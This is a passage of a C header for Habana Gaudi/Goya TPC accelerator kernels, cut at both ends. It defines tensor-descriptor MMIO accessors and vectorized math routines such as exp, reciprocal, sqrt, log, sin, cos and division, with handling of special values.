printf_2(__VA_ARGS__)\n#define printf(...) PP_mediate(PP_ARG(__VA_ARGS__))\n\n#if defined(__gaudi__)\n#define printf_2(x, y) \\\n _Generic((y), \\\n _BFloat16 : printf_bf(x,y), \\\n float : printf_f(x, y), \\\n int : printf_i(x, y), \\\n unsigned : printf_ui(x, y), \\\n short : printf_s(x, y), \\\n unsigned short : printf_us(x, y), \\\n char : printf_c(x, y), \\\n unsigned char : printf_uc(x, y), \\\n default : printf_st(x))\n#else //dali\n#define printf_2(x, y) \\\n _Generic((y), \\\n float : printf_f(x, y), \\\n int : printf_i(x, y), \\\n unsigned : printf_ui(x, y), \\\n short : printf_s(x, y), \\\n unsigned short : printf_us(x, y), \\\n char : printf_c(x, y), \\\n unsigned char : printf_uc(x, y), \\\n default : printf_st(x))\n#endif\n\n#endif\n\n//////////////////////////////////////////\n// Tensor/program query functions\n#if defined(__gaudi__) || defined(__goya__)\n#define c_tensors_base 0x400U\n#endif\n\n#define c_tensor_addr_pad_offset 0x8U\n#define c_tensor_size_stride_arr_offset 0x10U\n#define c_dim_stride_offset 0x4U\n\n#ifdef __goya__\n#define c_tensor_desc_size 0x4cU\n#define c_tensor_size_stride_element_size 0xcU\n#define c_semaphore_addr 0x808\n#elif defined(__gaudi__)\n#define c_tensor_desc_size 0x38U\n#define c_tensor_size_stride_element_size 0x8U\n#define c_semaphore_addr 0x908\n#else\n#error \"Undefined processor\"\n#endif\n\ninline unsigned int get_dim_size_offset_internal(int a, unsigned int dim) {\n unsigned int address = c_tensors_base +\n a* c_tensor_desc_size +\n c_tensor_size_stride_arr_offset +\n dim * c_tensor_size_stride_element_size;\n return address;\n}\n\ninline unsigned int get_tensor_pad_offset_internal(int a) {\n unsigned int address = c_tensors_base +\n a * c_tensor_desc_size +\n c_tensor_addr_pad_offset;\n return address;\n}\n\ninline unsigned int get_dim_size(int a, unsigned int dim) {\n unsigned int address = get_dim_size_offset_internal(a, dim);\n unsigned int result = 0;\n result = s_u32_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline unsigned int get_dim_stride(int a, unsigned int dim) {\n unsigned int address = get_dim_size_offset_internal(a, dim) + c_dim_stride_offset;\n unsigned int result = 0;\n result = s_u32_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline void set_dim_size(int a, unsigned int dim, unsigned int val) {\n unsigned int address = get_dim_size_offset_internal(a, dim);\n u32_st_l_s_s_b(address, val, e_access_mmio, 1, 0);\n}\n\ninline void set_dim_stride(int a, unsigned int dim, unsigned int val) {\n unsigned int address = get_dim_size_offset_internal(a, dim) + c_dim_stride_offset;\n u32_st_l_s_s_b(address, val, e_access_mmio, 1, 0);\n}\n\ninline unsigned int get_pad_value_uint(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n unsigned int result = 0;\n result = s_u32_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline int get_pad_value_int(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n int result = 0;\n result = s_i32_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline float get_pad_value_float(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n float result = 0;\n result = s_f32_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\n#if defined(__gaudi__)\ninline float get_pad_value_bf16(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n float result = 0;\n result = s_bf16_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n#endif\n\n\ninline short get_pad_value_short(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n short result = 0;\n result = s_i16_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline unsigned short get_pad_value_ushort(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n unsigned short result = 0;\n result = s_u16_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline char get_pad_value_char(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n char result = 0;\n result = s_i8_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline unsigned char get_pad_value_uchar(int a) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n unsigned char result = 0;\n result = s_u8_ld_l_s_b(address, result, e_access_mmio, 1, 0);\n return result;\n}\n\ninline void set_pad_value_int(int a, int val) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n i32_st_l_s_s_b(address, val, e_access_mmio, 1, 0);\n}\n\ninline void set_pad_value_uint(int a, unsigned int val) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n u32_st_l_s_s(address, val, e_access_mmio);\n}\n\ninline void set_pad_value_float(int a, float val) {\n unsigned int address = get_tensor_pad_offset_internal(a);\n f32_st_l_s_s_b(address, val, e_access_mmio, 1, 0);\n}\n\n#if defined(__gaudi__)\ninline void set_pad_value_bf16(int a, bf16 val) {\n\tunsigned new_pad_value = (unsigned) val;\n\tnew_pad_value = new_pad_value & 0x0000FFFF;\n\tnew_pad_value = (new_pad_value << 16) | new_pad_value;\n\tset_pad_value_uint(a, new_pad_value);\n}\n#endif\n\ninline void set_pad_value_short(int a, short val) {\n\tunsigned new_pad_value = (unsigned) val;\n\tnew_pad_value = new_pad_value & 0x0000FFFF;\n\tnew_pad_value = (new_pad_value << 16) | new_pad_value;\n\tset_pad_value_uint(a, new_pad_value);\n}\n\ninline void set_pad_value_char(int a, char val) {\n\tunsigned new_pad_value = (unsigned) val;\n\tnew_pad_value = new_pad_value & 0x000000FF;\n\tnew_pad_value = (new_pad_value << 8) | new_pad_value;\n\tnew_pad_value = (new_pad_value << 16) | new_pad_value;\n\tset_pad_value_uint(a, new_pad_value);\n}\n\n\ninline void set_pad_value_uchar(int a, unsigned char val) {\n\tunsigned new_pad_value = (unsigned) val;\n\tnew_pad_value = new_pad_value & 0x000000FF;\n\tnew_pad_value = (new_pad_value << 8) | new_pad_value;\n\tnew_pad_value = (new_pad_value << 16) | new_pad_value;\n\tset_pad_value_uint(a, new_pad_value);\n}\n\ninline void set_pad_value_ushort(int a, unsigned short val) {\n\tunsigned new_pad_value = (unsigned) val;\n\tnew_pad_value = new_pad_value & 0x0000FFFF;\n\tnew_pad_value = (new_pad_value << 16) | new_pad_value;\n\tset_pad_value_uint(a, new_pad_value);\n}\n\ninline int get_semaphore_value() {\n int result = s_i32_ld_l_s(c_semaphore_addr, e_access_mmio);\n return result;\n}\n\ninline void set_semaphore_value(int val) {\n i32_st_l_s_s(c_semaphore_addr, val, e_access_mmio);\n}\n\n\n// Implementation of special functions are guarded by separate block. If a user\n// defines 'TPC_SPECIAL_FUNCS_INCLUDED', he can use definitions of corresponding\n// functions from any other header file included explicitly.\n#ifndef TPC_SPECIAL_FUNCS_INCLUDED\n#define TPC_SPECIAL_FUNCS_INCLUDED\n\n////////////////////////////////// COMMON FP32 MACROS ////////////////////////////////////\n\n#define false 0\n#define true 1\n\n#if defined(__gaudi__)\n #define v_f32_lookup_c0_v v_f32_lookup_1c_v\n #define v_f32_lookup_c1c2_v v_f32_lookup_2c_v\n#endif\n\n// LOOKUP_AND_MAC and CALC_REDUCED_VALUE are defined as macros due to their use\n// of FUNC_ID and COEFF_TAB_SHIFT - constant integer values that needs to be\n// known during compilation.\n// LOOKUP_AND_MAC VPU ops = 4\n#define LOOKUP_AND_MAC(INTERVALS, VALUE, RESULT) \\\n{ \\\n float64 C0 = v_f32_lookup_c0_v(INTERVALS, e_lookup_fp32, FUNC_ID); \\\n float64_pair_t C1C2; \\\n C1C2 = v_f32_lookup_c1c2_v(INTERVALS, e_lookup_fp32, FUNC_ID); \\\n \\\n RESULT = C1C2.v1; \\\n RESULT = v_f32_mac_v_v(C1C2.v2, VALUE, RESULT, false); \\\n C0 = v_f32_mac_v_v(RESULT, VALUE, C0, false); \\\n RESULT = C0; \\\n}\n\n// CALC_REDUCED_VALUE VPU ops = LOOKUP_AND_MAC VPU ops + 2 = 6\n#define CALC_REDUCED_VALUE(INPUT_VAL, FUNC_VARIANT, RESULT) \\\n{ \\\n uint64_float64_pair_t all_coeffs_tab; \\\n all_coeffs_tab = v_f32_get_lut_entry_and_interval_start_v(INPUT_VAL, \\\n COEFF_TAB_SHIFT, \\\n FUNC_VARIANT); \\\n uint64 intervals = all_coeffs_tab.v1; \\\n float64 value = INPUT_VAL - all_coeffs_tab.v2; \\\n LOOKUP_AND_MAC(intervals, value, RESULT) \\\n}\n\n#define UNIT_VAL 0x3f800000\n#define SIGNIFICAND_MASK 0x007fffff\n#define EXPONENT_MASK 0x7f800000\n#define NAN_FP32 0x7fffffff\n#define PLUS_INF_FP32 0x7f800000\n#define MINUS_INF_FP32 0xff800000\n#define EXP_LOWER 0xc2aeac50\n#define EXP_UPPER 0x42b17218\n#define FLT_MIN 0x800000\n#define FLT_MAX 0x7f7fffff\n#define M_UNIT_EXP 0xc0800000\n\n//////////////////////////////////////// EXP_F32 //////////////////////////////////////////////////\nfloat64 v_exp_fast_f32(float64 input)\n{\n#define COEFF_TAB_SHIFT 17 // 23 - (m = 6)\n const int FUNC_ID = e_fp32_pow2;\n\n const float ln_2_1 = 0.693359375;\n const float ln_2_2 = -2.12194440e-4;\n const float log2_e = 1.44269502;\n\n float64 result = 0.5;\n result = v_f32_mac_v_s(input, log2_e, result, false);\n\n int64 floor = v_convert_f32_to_i32_v(result, e_round_half_ne);\n result = v_convert_i32_to_f32_v(floor, e_round_half_ne);\n\n float64 x_reduced = input;\n x_reduced = v_f32_mac_v_v(result, ln_2_1, x_reduced, true);\n x_reduced = v_f32_mac_v_v(result, ln_2_2, x_reduced, true);\n x_reduced *= log2_e;\n\n bool256 x_red_geq_0 = bv_f32_cmp_geq_v_s(x_reduced, 0.0f);\n int64 exponent = 0;\n exponent = v_f32_extract_exp_v_vb(x_reduced, exponent, false, x_red_geq_0, 0);\n exponent = v_i32_min_v_s_vb(-exponent, 24, exponent, x_red_geq_0, 0);\n\n int64 pos_significand = 0;\n pos_significand = v_i32_and_v_s_vb(*((int64*)&x_reduced), SIGNIFICAND_MASK,\n pos_significand, x_red_geq_0, 0);\n pos_significand = v_i32_or_v_s_vb(pos_significand, 1 << 23, pos_significand, x_red_geq_0, 0);\n pos_significand = v_i32_shr_v_v_vb(pos_significand, exponent, pos_significand, x_red_geq_0, 0);\n pos_significand = v_i32_or_v_s_vb(pos_significand, UNIT_VAL, pos_significand, x_red_geq_0, 0);\n result = *((float64*)&pos_significand);\n\n result = v_f32_add_v_s_vb(x_reduced, 2.0f, result, x_red_geq_0, 1);\n int64 neg_significand = 0;\n neg_significand = v_i32_and_v_s_vb(*((int64*)&result), SIGNIFICAND_MASK, neg_significand,\n x_red_geq_0, 1);\n uint64 neg_add = 0;\n neg_add = v_i32_u32_sel_eq_v_s_v_v_vb(neg_significand, 0, 0, 1, neg_add, x_red_geq_0, 1);\n\n CALC_REDUCED_VALUE(result, e_func_variant_default, result)\n\n exponent = v_f32_extract_exp_v(result, true);\n exponent += floor - neg_add;\n result = v_f32_form_fp_num_i8_v_v_v((char256) exponent, result, result, SW_EXP_IS_NUM);\n\n return result;\n#undef COEFF_TAB_SHIFT\n}\n\n// exp_f32 VPU ops = exp_fast_f32 VPU ops + 3 = 26+3 = 29\nfloat64 v_exp_f32(float64 input)\n{\n\n float64 result = v_exp_fast_f32(input);\n\n// ====================================\n// Processing special values: spec.exp values, +-inf, nan\n\n const int64 exp_lower = EXP_LOWER;\n const int64 exp_upper = EXP_UPPER;\n const int64 plus_inf = PLUS_INF_FP32;\n\n result = v_f32_f32_sel_leq_v_v_v_v(input, *((float64*)&exp_lower), 0.0f, result);\n result = v_f32_f32_sel_geq_v_v_v_v(input, *((float64*)&exp_upper), *((float64*)&plus_inf), result);\n result = v_u32_f32_sel_grt_v_v_v_v(*((uint64*)&input) & NAN_FP32, PLUS_INF_FP32, input, result);\n// ====================================\n return result;\n}\n\n/////////////////////////////////////// RECIP_F32 /////////////////////////////////////////////////\n\nfloat64 v_reciprocal_fast_f32(float64 input)\n{\n #define COEFF_TAB_SHIFT 16 // 23 - (m = 7)\n const int FUNC_ID = e_fp32_rcp;\n\n const char zero_exp = 0;\n float64 result = v_f32_form_fp_num_i8_s_v_v(zero_exp, input, input, SW_ADD_BIAS | SW_FORCE_SIGN0 | SW_EXP_IS_NUM);\n CALC_REDUCED_VALUE(result, e_func_variant_default, result)\n\n int64 res_exp = (*((int64*)&result) & EXPONENT_MASK) - (*((int64*)&input) & EXPONENT_MASK);\n result = v_f32_form_fp_num_v_v_v(*((float64*)&res_exp), input, result, SW_ADD_BIAS);\n\n float64 signed_zero = v_f32_f32_sel_less_v_v_v_v(input, 0.0f, -0.0f, 0.0f);\n result = v_i32_f32_sel_leq_v_v_v_v(res_exp, M_UNIT_EXP, signed_zero, result);\n\n return result;\n#undef COEFF_TAB_SHIFT\n}\n\nfloat64 v_reciprocal_f32(float64 input)\n{\n float64 result = v_reciprocal_fast_f32(input);\n\n// ====================================\n// Processing special values: denorm, +-0. +-inf, nan\n float64 abs_x = v_f32_abs_v(input);\n float64 abs_result = v_f32_abs_v(result);\n const uint64 flt_min = FLT_MIN;\n const float64 flt_min_fp32 = *((float64*)&flt_min);\n const uint64 flt_max = FLT_MAX;\n const float64 flt_max_fp32 = *((float64*)&flt_max);\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n abs_result = v_f32_f32_sel_less_v_v_v_v(abs_x, flt_min_fp32, plus_inf_fp32, abs_result);\n abs_result = v_f32_f32_sel_grt_v_v_v_v(abs_x, flt_max_fp32, 0.0f, abs_result);\n\n abs_result = v_u32_f32_sel_grt_v_s_v_v(*((uint64*)&abs_x), PLUS_INF_FP32, nan_fp32, abs_result);\n result = v_f32_form_fp_num_v_v_v(abs_result, input, abs_result, 0x0);\n// ====================================\n\n return result;\n}\n\n//////////////////////////// COMMON SQRT_F32 / RSQRT_F32/ /////////////////////////////////////\n// BASE_SQRT_FUNC VPU Ops = CALC_REDUCED_VALUE + 3 = 6+3=9\n#define BASE_SQRT_FUNC(INPUT_VAL, EXPONENT, RESULT) \\\n{ \\\n EXPONENT = v_f32_extract_exp_v(INPUT_VAL, false); \\\n RESULT = v_f32_form_fp_num_i8_v_v_v((char256) (EXPONENT&1), INPUT_VAL, INPUT_VAL, SW_EXP_IS_NUM|SW_ADD_BIAS); \\\n CALC_REDUCED_VALUE(RESULT, e_func_variant_sqrt_rsqrt, RESULT) \\\n EXPONENT -= v_i32_i32_sel_less_v_v_v_v(EXPONENT, 0, EXPONENT&1, 0); \\\n}\n\n\n\n//////////////////////////////////////// SQRT_F32 /////////////////////////////////////////////////\nfloat64 v_sqrt_fast_f32(float64 input)\n{\n#define COEFF_TAB_SHIFT 17 // 23 - (m = 6)\n const int FUNC_ID = e_fp32_sqrt;\n int64 exponent;\n float64 result;\n BASE_SQRT_FUNC(input, exponent, result)\n\n exponent = *((int64*)&result) + ((exponent >> 1) << 23);\n result = *((float64*)&exponent);\n result = v_f32_f32_sel_eq_v_v_v_v(input, 0.0f, 0.0f, result);\n return result;\n#undef COEFF_TAB_SHIFT\n}\n\nfloat64 v_sqrt_f32(float64 input)\n{\n float64 result = v_sqrt_fast_f32(input);\n\n// ====================================\n// Processing special values: <0. +inf, nan\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n result = v_u32_f32_sel_eq_v_s_v_v(*((uint64*)&input), PLUS_INF_FP32, plus_inf_fp32, result);\n result = v_u32_f32_sel_grt_v_s_v_v(*((uint64*)&input), PLUS_INF_FP32, nan_fp32, result);\n result = v_f32_f32_sel_eq_v_v_v_v(input, -0.0f, -0.0f, result);\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// RSQRT_F32 /////////////////////////////////////////////////\nfloat64 v_rsqrt_fast_f32(float64 input)\n{\n#define COEFF_TAB_SHIFT 16 // 23 - (m = 7)\n const int FUNC_ID = e_fp32_rsqrt;\n int64 exponent;\n float64 result;\n BASE_SQRT_FUNC(input, exponent, result)\n\n exponent = *((int64*)&result) - ((exponent >> 1) << 23);\n result = *((float64*)&exponent);\n return result;\n#undef COEFF_TAB_SHIFT\n}\n\nfloat64 v_rsqrt_f32(float64 input)\n{\n float64 result = v_rsqrt_fast_f32(input);\n\n// ====================================\n// Processing special values: <=0. +inf, nan\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n\n const uint64 minus_inf = MINUS_INF_FP32;\n const float64 minus_inf_fp32 = *((float64*)&minus_inf);\n\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n result = v_f32_f32_sel_eq_v_s_v_v(input, 0.0f, plus_inf_fp32, result);\n //result = v_f32_f32_sel_less_v_s_v_v(input, 0.0f, nan_fp32, result);\n result = v_u32_f32_sel_eq_v_s_v_v(*((uint64*)&input), PLUS_INF_FP32, 0.0f, result);\n result = v_u32_f32_sel_grt_v_s_v_v(*((uint64*)&input), PLUS_INF_FP32, nan_fp32, result);\n result = v_f32_f32_sel_eq_v_v_v_v(input, -0.0f, minus_inf_fp32, result);\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// LOG_F32 GAUDI ///////////////////////////////////////////\n\n/*\nfloat64 log_f32(float64 input)\n{// log32_Gaudi\n const float ln_2 = 0.69314718056; // 0x3f317218\n int64 exponent = v_f32_extract_exp_v(input, false);\n float64 fl_exponent = v_convert_i32_to_f32_v(exponent, e_round_half_ne) ;\n const char zero_exp = 0;\n float64 result = v_f32_form_fp_num_i8_s_v_v(zero_exp, input, input, SW_EXP_IS_NUM|SW_ADD_BIAS);\n bool256 zero_exp_pred = bv_i32_cmp_eq_v_s(exponent, 0);\n float64 tmp_result = result;\n\n const int COEFF_TAB_SHIFT = 16; // 23 - (m = 7)\n const int FUNC_ID = e_fp32_log2;\n\n uint64_float64_pair_t all_coeffs_tab;\n all_coeffs_tab = v_f32_get_lut_entry_and_interval_start_v(result, COEFF_TAB_SHIFT,\n e_func_variant_default);\n\n uint64 intervals = all_coeffs_tab.v1;\n intervals = v_u32_add_v_s_vb(intervals, 128, intervals, e_no_saturation, zero_exp_pred, 1);\n float64 value = result - all_coeffs_tab.v2;\n LOOKUP_AND_MAC(intervals, value, result)\n\n float64 res_minus_one = tmp_result - 1.0f;\n result = v_f32_mul_v_v_vb(res_minus_one, result, result, zero_exp_pred, 0);\n\n result += fl_exponent;\n result *= ln_2;\n\n// ====================================\n// Processing special values: <=0, +-inf, nan\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n const uint64 minus_inf = MINUS_INF_FP32;\n const float64 minus_inf_fp32 = *((float64*)&minus_inf);\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n result = v_f32_f32_sel_less_v_s_v_v(input, 0.0f, nan_fp32, result);\n result = v_f32_f32_sel_eq_v_s_v_v(input, 0.0f, minus_inf_fp32, result);\n result = v_u32_f32_sel_eq_v_s_v_v(*((uint64*)&input), PLUS_INF_FP32, plus_inf_fp32, result);\n result = v_i32_f32_sel_grt_v_s_v_v(*((int64*)&input), PLUS_INF_FP32, nan_fp32, result);\n// ====================================\n\n return result;\n} // log_f32_Gaudi\n*/\n//////////////////////////////////////// LOG_F32 CEPHES///////////////////////////////////////////\nfloat64 v_log_fast_f32(float64 input)\n{\n // log32_cephes: log(1+x) = x - 0.5 x**2 + x**3 P(x)\n const float log2_e_m_1 = 0.44269504088896340735992; // log2(e) - 1.0\n const float ln_2 = 0.69314718056; // ln(2) (0x3f317218)\n const float one_sqrt_2 = 0.70710677; // 1/sqrt(2) (0x3f3504f3)\n const int poly_tab_size = 9;\n const float coeffs[poly_tab_size] = {\n 7.0376836292E-2,\n -1.1514610310E-1,\n 1.1676998740E-1,\n -1.2420140846E-1,\n 1.4249322787E-1,\n -1.6668057665E-1,\n 2.0000714765E-1,\n -2.4999993993E-1,\n 3.3333331174E-1};\n\n int64 exponent = v_f32_extract_exp_v(input, false) + 1;\n const char exp_126 = 126;\n float64 fraction = v_f32_form_fp_num_i8_s_v_v(exp_126, input, input, SW_EXP_IS_NUM);\n float64 fl_exponent = v_convert_i32_to_f32_v(exponent, e_round_half_ne) ;\n\n float64 diff = fraction - one_sqrt_2;\n int64 diff_sign = v_i32_shr_v_s((*(int64 *) &diff), 31);\n exponent -= diff_sign;\n fl_exponent = v_convert_i32_to_f32_v(exponent, e_round_half_ne) ;\n float64 fl_diff_sign = v_convert_i32_to_f32_v(diff_sign, e_round_half_ne) ;\n fraction += fl_diff_sign * fraction - 1.0f;\n\n float64 x_sqr = fraction * fraction;\n float64 poly = coeffs[0];\n for (int i = 1; i < poly_tab_size; i++)\n poly = v_f32_mac_v_v(poly, fraction, coeffs[i], false);\n\n float64 tailor = fraction * (x_sqr * poly);\n tailor -= 0.5 * x_sqr;\n\n float64 result = tailor * log2_e_m_1;\n result += fraction * log2_e_m_1;\n result += tailor;\n result += fraction;\n\n result += fl_exponent;\n result *= ln_2;\n\n return result;\n}\n\nfloat64 v_log_f32(float64 input)\n{\n float64 result = v_log_fast_f32(input);\n// ====================================\n// Processing special values: <=0, +-inf, nan\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n const uint64 minus_inf = MINUS_INF_FP32;\n const float64 minus_inf_fp32 = *((float64*)&minus_inf);\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n result = v_f32_f32_sel_less_v_s_v_v(input, 0.0f, nan_fp32, result);\n result = v_f32_f32_sel_eq_v_s_v_v(input, 0.0f, minus_inf_fp32, result);\n result = v_u32_f32_sel_eq_v_s_v_v(*((uint64*)&input), PLUS_INF_FP32, plus_inf_fp32, result);\n result = v_i32_f32_sel_grt_v_s_v_v(*((int64*)&input), PLUS_INF_FP32, nan_fp32, result);\n// ====================================\n\n return result;\n} // log_f32_cephes\n\n// Special log values:\n// x < 0.0 -> return nan\n// x = -inf -> return nan\n// x = -0.0 -> return nan\n// x = 0.0 -> return -inf\n// x = +inf -> return +inf\n// x = nan -> return nan\n\n////////////////////////////////// COMMON SIN_COS_F32 //////////////////////////////////////\n// 23 + 4 = 27\n#define SIN_COS_CALC(SIN_X_COND) \\\n const float four_by_pi = 1.27323949; /* 4/pi = 0x3fa2f983 */ \\\n const float pi4_1 = 7.85156250e-01; /* pi/4 = 0x3f490000 */ \\\n const float pi4_2 = 2.41875648498e-4; /* 0x397da000 */ \\\n const float pi4_3 = 3.7748949774e-8; /* 0x3fa2f983*/ \\\n \\\n float64 abs_x = v_f32_abs_v(input); \\\n float64 fl_pi4_shift = abs_x * four_by_pi; \\\n int64 pi4_shift = v_convert_f32_to_i32_v(fl_pi4_shift, e_round_down); \\\n pi4_shift += pi4_shift & 1; /* Shift x in [-pi/4, +pi/4] */ \\\n fl_pi4_shift = v_convert_i32_to_f32_v(pi4_shift, e_round_half_ne); \\\n float64 reduced_x = abs_x; \\\n reduced_x = v_f32_mac_v_s(fl_pi4_shift, pi4_1, reduced_x, true); \\\n reduced_x = v_f32_mac_v_s(fl_pi4_shift, pi4_2, reduced_x, true); \\\n reduced_x = v_f32_mac_v_s(fl_pi4_shift, pi4_3, reduced_x, true); \\\n float64 abs_reduced_x = v_f32_abs_v(reduced_x); \\\n \\\n int64 pi2_shift = (pi4_shift >> 1) & 3; /* remove shift by 2*pi: x in [0, 2*pi) */ \\\n float64 fl_sign_shift = v_convert_i32_to_f32_v(pi2_shift & 2, e_round_half_ne); \\\n sign_res -= fl_sign_shift * sign_res; /* x>pi? -> shift by pi: cos(pi-x) = -cos(x) */ \\\n pi2_shift -= pi2_shift & 2; /* remove shift by pi -> pi2_shift in [0, 1] */ \\\n \\\n /*const int COEFF_TAB_SHIFT = 17; 23 - (m = 6) */ \\\n const int FUNC_ID = e_fp32_sin_cos; \\\n \\\n bool256 sin_x = bv_i32_cmp_eq_v_s(pi2_shift, SIN_X_COND); \\\n uint64_float64_pair_t all_coeffs_tab; \\\n all_coeffs_tab = v_f32_get_lut_entry_and_interval_start_v(abs_reduced_x, 17 /*COEFF_TAB_SHIFT*/,\\\n e_func_variant_sin_cos); \\\n uint64 intervals = all_coeffs_tab.v1; \\\n intervals = v_u32_add_v_s_vb(intervals, 64, intervals, e_no_saturation, sin_x, 1); \\\n float64 value = abs_reduced_x - all_coeffs_tab.v2; \\\n float64 result; \\\n LOOKUP_AND_MAC(intervals, value, result) \\\n \\\n result = v_f32_mul_v_v_vb(abs_reduced_x, result, result, sin_x, 0);\n\n#define PROCESS_SIN_COS_SPECIAL_VALUES \\\n const uint64 nan_int = NAN_FP32; \\\n const float64 nan_fp32 = *((float64*)&nan_int); \\\n const float sin_max_arg = s_convert_i32_to_f32_s(0xffffff, e_round_half_ne), \\\n sin_accuracy_limit = s_convert_i32_to_f32_s(0x2000, e_round_half_ne); \\\n \\\n result = v_f32_f32_sel_grt_v_s_v_v(abs_x, sin_accuracy_limit, 0.0f, result); \\\n result = v_f32_f32_sel_grt_v_s_v_v(abs_x, sin_max_arg, nan_fp32, result); \\\n result = v_u32_f32_sel_geq_v_s_v_v(*((uint64*)&abs_x), PLUS_INF_FP32, nan_fp32, result);\n\n// Special sin/cos values:\n// x = -inf -> return nan\n// x -= -0.0 -> return +1.0\n// x = +0.0 -> return +1.0\n// x = +inf -> return nan\n// x = nan -> return nan\n// x > sin_max_arg (= 1 << 24 - 1) -> return nan\n// x > sin_accuracy_limit (= 1 << 13) -> return 0.0f\n\n//////////////////////////////////////// COS_F32 /////////////////////////////////////////////////\nfloat64 v_cos_fast_f32(float64 input)\n{\n float64 sign_res = 1.0f;\n SIN_COS_CALC(1)\n\n sign_res = v_f32_f32_sel_grt_v_s_v_v_vb(reduced_x, 0.0f, -sign_res, sign_res, sign_res, sin_x, 0);\n result = v_f32_f32_sel_less_v_s_v_v(sign_res, 0.0f, -result, result);\n\n return result;\n}\n\nfloat64 v_cos_f32(float64 input)\n{\n float64 abs_x = v_f32_abs_v(input);\n float64 result = v_cos_fast_f32(input);\n// ====================================\n// Processing special values: +-inf, nan, sin/cos limits\n\n PROCESS_SIN_COS_SPECIAL_VALUES\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// SIN_F32 /////////////////////////////////////////////////\nfloat64 v_sin_fast_f32(float64 input)\n{\n float64 sign_res = v_f32_f32_sel_grt_v_s_v_v(input, 0.0f, 1.0f, -1.0f);\n SIN_COS_CALC(0)\n\n sign_res = v_f32_f32_sel_less_v_s_v_v_vb(reduced_x, 0.0f, -sign_res, sign_res, sign_res, sin_x, 0);\n result = v_f32_f32_sel_less_v_s_v_v(sign_res, 0.0f, -result, result);\n return result;\n}\n\nfloat64 v_sin_f32(float64 input)\n{\n float64 abs_x = v_f32_abs_v(input);\n float64 result = v_sin_fast_f32(input);\n// ====================================\n// Processing special values: +-inf, nan, sin/cos limits\n\n PROCESS_SIN_COS_SPECIAL_VALUES\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// DIV_F32 /////////////////////////////////////////////////\nfloat64 v_div_fast_f32(float64 input_x, float64 input_y)\n{\n float64 result = input_x * v_reciprocal_fast_f32(input_y);\n\n return result;\n}\n\nfloat64 v_div_f32(float64 input_x, float64 input_y)\n{\n float64 result = input_x * v_reciprocal_f32(input_y);\n\n// ====================================\n// Processing special values: 0, +-inf, nan\n const uint64 flt_min = FLT_MIN;\n const float64 flt_min_fp32 = *((float64*)&flt_min);\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n\n float64 abs_x = v_f32_abs_v(input_x); // 15\n float64 abs_y = v_f32_abs_v(input_y); // 16\n\n// x == nan?\n result = v_f32_f32_sel_grt_v_v_v_v(abs_x, plus_inf_fp32, nan_fp32, result); // 17\n\n// sign_x ^ sign_y; (sign_x ^ sign_y) | plus_inf\n int64 sign_res = (((*((int64*)&input_x)) >> 31 ) ^ ((*((int64*)&input_y)) >> 31 )) << 31; // 18, 19, 20, 21\n const float64 sign_res_fp32 = *((float64*)&sign_res);\n\n//x == +-inf?\n float64 inf_x_y = v_f32_or_v_v(sign_res_fp32 ,plus_inf_fp32); // 22\n bool256 inf_x = bv_f32_cmp_eq_v_v(abs_x, plus_inf_fp32); // 23\n result = v_f32_f32_sel_eq_v_v_v_v_vb(abs_y, plus_inf_fp32, nan_fp32, inf_x_y, result, inf_x, 0);// 24\n\n//x == +-0?\n bool256 zero_x = bv_f32_cmp_less_v_v(abs_x, flt_min_fp32); // 25\n result = v_f32_f32_sel_less_v_v_v_v_vb(abs_y, flt_min_fp32, nan_fp32, sign_res_fp32,\n result, zero_x, 0);// 26\n// ====================================\n\n return result;\n}\n\n// Simlified scalar division (x / y) Markstein's algorithm, very efficient in case of y is actually\n// integer values. It assumes that rc (reciprocal of y) comes from outside\nfloat s_div_fast_f32(float x, float y, float rc)\n{\n float q = x * rc;\n\n // Lines below should be called if x isn't +INF or -INF. For simlicity corresponding cheking is missed\n x = s_f32_mac_s_s(y, q, x, e_with_negation);\n q = s_f32_mac_s_s(x, rc, q, e_no_negation);\n\n return q;\n}\n\n//////////////////////////////////////// TANH_F32 /////////////////////////////////////////////////\n\nfloat64 